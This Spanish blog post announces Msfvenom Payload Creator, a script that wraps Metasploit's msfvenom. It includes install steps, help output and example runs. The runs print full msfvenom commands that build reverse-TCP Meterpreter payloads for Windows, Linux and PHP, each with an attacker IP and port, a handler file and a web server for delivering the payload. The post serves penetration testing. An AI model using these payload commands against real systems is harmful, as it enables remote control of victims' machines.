Tutoriales y Manuales
Entradas Mensuales
-
►
2024
(Total:
1019
)
- ► septiembre (Total: 50 )
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
▼
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
▼
junio
(Total:
73
)
- ¿Java dejará de funcionar en Google Chrome?
- La IEEE y la IET realizan con éxito Tests de Priva...
- El ministro de justicia japonés apaga su ordenador...
- Apple bloquea las versiones de Adobe Flash antigua...
- Microsoft añade silenciosamente 17 nuevos certific...
- El FBI advirtió a las compañías de USA para evitar...
- Secure Sockets Layer versión 3.0 (SSLv3) no es lo ...
- El proyecto de cifrado gratuito Let's Encrypt entr...
- Gmail ya permite deshacer el envío de un e-mail
- Java deja atrás la barra de Ask al ser considerada...
- Experimento Robin: Envía a 97.931 personas sus con...
- TrendMicro: un simple keylogger puede costar millo...
- La Europol detiene a una banda acusada de propagar...
- Disponible distribución PFSense 2.2.3 especializad...
- La NSA establece su presencia en GitHub para compa...
- La botnet Andromeda infecta con malware financiero...
- Msfvenom Payload Creator (MPC) para Metasploit
- HackerOne recibe una inversión de 25 millones de d...
- Facebook elimina el malware de 2 millones de orden...
- Investigador de Google encuentra una vulnerabilida...
- HardenFlash, Adobe Flash Player a prueba de exploi...
- Segunda actualización de seguridad en un mes para ...
- Las compañias de Antivirus también son objetivo de...
- Tutorial de CMake
- España, el segundo país Europeo con más infectados...
- DD4BC extorsiona pidiendo dinero en Bitcoins a cam...
- La Casa Blanca quiere que todos los organismos ofi...
- Bug en favicon.ico permite colgar Firefox, Chrome ...
- Múltiples vulnerabilidades incluyendo una crítica ...
- Tipos de Ataques DDoS con la botnet AthenaHTTP
- El buscador Shodan también disponible para Android
- Skype basado en Web (Beta) disponible en todo el m...
- Los creadores del malware Duqu 2.0 usaron certific...
- Lanzar un ataque DDoS sale barato: sólo 38 dólares...
- Google anuncia su programa de recompensas por enco...
- El ordenador de Angela Merkel infectado con un tro...
- La página web de peticiones de Uber atacada
- La noche temática de La 2 - Términos y condiciones...
- Canal + ha sido hackeado, y los datos comprometido...
- El ransomware Tox estaba dirigido a los pedófilos
- La Wikipedia usará HTTPS por defecto
- Un año de prisión por realizar ataques DDoS con la...
- Facebook Infer, herramienta de código libre para d...
- Un joven americano de 17 años se declara culpable ...
- Malware Poweliks se esconde en el registro de Wind...
- Detenidas 10 personas en España por fraude cibérne...
- Mozilla Firefox incrementa las recompensas por rep...
- Bélgica detiene a terroristas espiando sus mensaje...
- Duqu 2.0: la herramienta más sofisticada del ciber...
- Adobe Flash Player 18.x soluciona 13 vulnerabilida...
- Tesla Motors ofrece 1.000$ a quién sea capaz de ha...
- Medusa: herramienta para realizar ataques por fuer...
- microSD de 512GB presentado en el Computex 2015
- Página web del Ejército de EE.UU. hackeada por el ...
- REMnux: Distribución de Linux especializada en en ...
- IX Congreso OWASP sobre ciberseguridad en Barcelona
- La Policía detiene a uno de los uploaders más acti...
- Drupal también pagará recompensas a los que encuen...
- Dropbox prohibe usar 85.000 palabras como contrase...
- El creador del ransmoware Tox decide vender su neg...
- Hector Xavier Monsegur aka Sabu vuelve a Twitter t...
- Open Sesame, un nuevo gadget para abrir puertas de...
- El creador del malware RomberTik es un nigeriano d...
- Pentest Box: pentesting en línea de comandos para ...
- Intel presenta en Computex el Thunderbolt 3 con co...
- Servicios automatizados de análisis de Malware online
- El servicio de Pensiones de Japón ha sido hackeado
- Un simple mensaje de texto puede colgar Skype
- Sourceforge secuestra la cuenta de Nmap
- ASUS resucita los netbooks con un nuevo modelo
- El fundador de Silk Road sentenciado a cadena perp...
- Vuelve el Virus de la Polícia para Android
- El creador del ransomware Locker publica las llave...
-
►
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
seguridad
(
395
)
privacidad
(
363
)
google
(
353
)
ransomware
(
338
)
vulnerabilidad
(
301
)
Malware
(
263
)
Windows
(
243
)
android
(
242
)
cve
(
235
)
tutorial
(
235
)
manual
(
220
)
software
(
201
)
hardware
(
193
)
linux
(
124
)
twitter
(
115
)
ddos
(
94
)
WhatsApp
(
90
)
Wifi
(
85
)
cifrado
(
77
)
herramientas
(
75
)
hacking
(
73
)
sysadmin
(
67
)
app
(
65
)
Networking
(
56
)
nvidia
(
52
)
ssd
(
51
)
youtube
(
50
)
adobe
(
43
)
firmware
(
42
)
office
(
41
)
hack
(
40
)
firefox
(
35
)
contraseñas
(
32
)
eventos
(
32
)
antivirus
(
31
)
juegos
(
31
)
cms
(
30
)
flash
(
28
)
anonymous
(
27
)
MAC
(
25
)
apache
(
25
)
programación
(
25
)
exploit
(
23
)
javascript
(
22
)
multimedia
(
22
)
Kernel
(
20
)
ssl
(
19
)
SeguridadWireless
(
17
)
documental
(
16
)
Forense
(
15
)
conferencia
(
15
)
Debugger
(
14
)
lizard squad
(
14
)
técnicas hacking
(
13
)
auditoría
(
12
)
delitos
(
11
)
metasploit
(
11
)
Virtualización
(
10
)
adamo
(
9
)
reversing
(
9
)
Rootkit
(
8
)
Ehn-Dev
(
7
)
MAC Adress
(
6
)
antimalware
(
6
)
oclHashcat
(
5
)
Entradas populares
-
Después de ver qué es una vCPU y la diferencia entre núcleos (cores) e hilos en los procesadores, pasamos a explicar toda la nomenclatura d...
-
En el panorama en constante evolución de la seguridad de redes, OpnSense se ha convertido en una formidable solución de firewall. Nacido de...
-
Pese a que Gemini ofrece multitudes de opciones, recientemente, se ha dado a conocer una situación fuera de lo común. Hace unos días, un es...
Msfvenom Payload Creator (MPC) para Metasploit
jueves, 25 de junio de 2015
|
Publicado por
el-brujo
|
Editar entrada
Msfvenom Payload Creator (MPC) es una herramienta creada por Got Milk? para crear de forma rápida de generar diversos payloads "básicos" en Meterpreter vía el nuevo msfvenom (parte del marco de Metasploit).
Las herramientas msfpayload y msfencode de Metasploit han despaarecido dejando paso a su sucesor msfvenom. El 8 de junio de 2015, el msfpayload y msfencode se retiran del repositorio de Metasploit. Recordemos que Metasploit es un “Framework” para realizar test de intrusión desarrollada por Rapid 7.
Msfvenom Payload Creator (MPC) es un contenedor para generar múltiples tipos de cargas útiles, basados en elección de los usuarios. La idea es ser lo más simple posible (sólo requieren una entrada) para producir su payload Automatizar totalmente el msfvenom y Metasploit es el objetivo final (así como ser capaz de automatizar MPC en sí).
El resto es para hacer la vida del usuario más fácil posible (por ejemplo, el menú IP selección, archivo de recursos msfconsole / comandos y un servidor web rápida, etc).
La única entrada necesaria del usuario debe ser la definición de la carga útil que quieren, ya sea la plataforma (por ejemplo, Windows), o la extensión del archivo que desea el payload (por ejemplo, exe).
Nota: Esto no intentará hacer un bypass de cualquier antivirus.
Fuente:
https://github.com/g0tmi1k/mpc
Las herramientas msfpayload y msfencode de Metasploit han despaarecido dejando paso a su sucesor msfvenom. El 8 de junio de 2015, el msfpayload y msfencode se retiran del repositorio de Metasploit. Recordemos que Metasploit es un “Framework” para realizar test de intrusión desarrollada por Rapid 7.
Msfvenom Payload Creator (MPC) es un contenedor para generar múltiples tipos de cargas útiles, basados en elección de los usuarios. La idea es ser lo más simple posible (sólo requieren una entrada) para producir su payload Automatizar totalmente el msfvenom y Metasploit es el objetivo final (así como ser capaz de automatizar MPC en sí).
El resto es para hacer la vida del usuario más fácil posible (por ejemplo, el menú IP selección, archivo de recursos msfconsole / comandos y un servidor web rápida, etc).
La única entrada necesaria del usuario debe ser la definición de la carga útil que quieren, ya sea la plataforma (por ejemplo, Windows), o la extensión del archivo que desea el payload (por ejemplo, exe).
Nota: Esto no intentará hacer un bypass de cualquier antivirus.
Instalación
- Diseñado para eKali Linux 1.1.0a + & Metasploit v4.11
curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc chmod +x /usr/bin/mpc mpc
Ayuda
root@kali:~# mpc [*] Msfvenom Payload Creator (MPC v1.1) [i] ./mpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) [i] <TYPE>: (All reverse TCP payloads) [i] + ASP (meterpreter) [i] + ASPX (meterpreter) [i] + Bash [.sh] (shell) [i] + Java [.jsp] (shell) [i] + Linux [.elf] (meterpreter) [i] + OSX [.macho] (shell) [i] + Perl [.pl] (shell) [i] + PHP (meterpreter) [i] + Powershell [.ps1] (meterpreter) [i] + Python [.py] (meterpreter) [i] + Tomcat [.war] (shell) [i] + Windows [.exe] (meterpreter) [i] Missing <DOMAIN/IP> will default to IP menu [i] Missing <PORT> will default to 443 root@kali:~#
Example #1 (Windows Fully Automated With IP And Port)
root@kali:~# mpc windows 192.168.155.175 4444 [*] Msfvenom Payload Creator (MPC v1.1) [i] IP: 192.168.155.175 [i] PORT: 4444 [i] TYPE: windows (windows/meterpreter/reverse_tcp) [i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows
-a x86 -e generic/none LHOST=192.168.155.175 LPORT=4444 -o /root/windows-meterpreter.exe [i] windows meterpreter created: '/root/windows-meterpreter.exe' [i] MSF handler file: '/root/windows-meterpreter-exe.rc
' (msfconsole -q -r /root/windows-meterpreter-exe.rc) [?] Quick web server? python -m SimpleHTTPServer 8080 [*] Done! root@kali:~#
Example #2 (Linux Fully Automated With Interface And Format)
root@kali:~# ./mpc.sh elf eth0 [*] Msfvenom Payload Creator (MPC v1.1) [i] IP: 127.0.0.1 [i] PORT: 443 [i] TYPE: linux (linux/x86/meterpreter/reverse_tcp) [i] CMD: msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf --platform
linux -a x86 -e generic/none
LHOST=127.0.0.1 LPORT=443 -o /root/linux-meterpreter.elf [i] linux meterpreter created: '/root/linux-meterpreter.elf' [i] MSF handler file: '
/root/linux-meterpreter-elf.rc' (msfconsole -q -r /root/linux-meterpreter-elf.rc) [?] Quick web server? python -m SimpleHTTPServer 8080 [*] Done! root@kali:~#
Example #3 (PHP Using Interactive IP Menu)
root@kali:~# bash mpc.sh php
[*] Msfvenom Payload Creator (MPC v1.1)
[i] Use which interface/IP address?:
[i] 1.) eth0 - 192.168.103.140
[i] 2.) eth1 - 192.168.155.175
[i] 3.) lo - 127.0.0.1
[?] Select 1-3, interface or IP address: 1
[i] IP: 192.168.103.140
[i] PORT: 443
[i] TYPE: php (php/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p php/meterpreter/reverse_tcp -f raw --platform php
-e generic/none -a php LHOST=192.168.103.140 LPORT=443 -o /root/php-meterpreter.php
[i] php meterpreter created: '/root/php-meterpreter.php'
[i] MSF handler file: '
/root/php-meterpreter-php.rc' (msfconsole -q -r /root/php-meterpreter-php.rc)
[?] Quick web server? python -m SimpleHTTPServer 8080
[*] Done!
root@kali:~#
https://github.com/g0tmi1k/mpc
Enviar por correo electrónico
Escribe un blog
Compartir en X
Compartir con Facebook
Compartir en Pinterest
0 comentarios :
Publicar un comentario
Los comentarios pueden ser revisados en cualquier momento por los moderadores.
Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.
Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.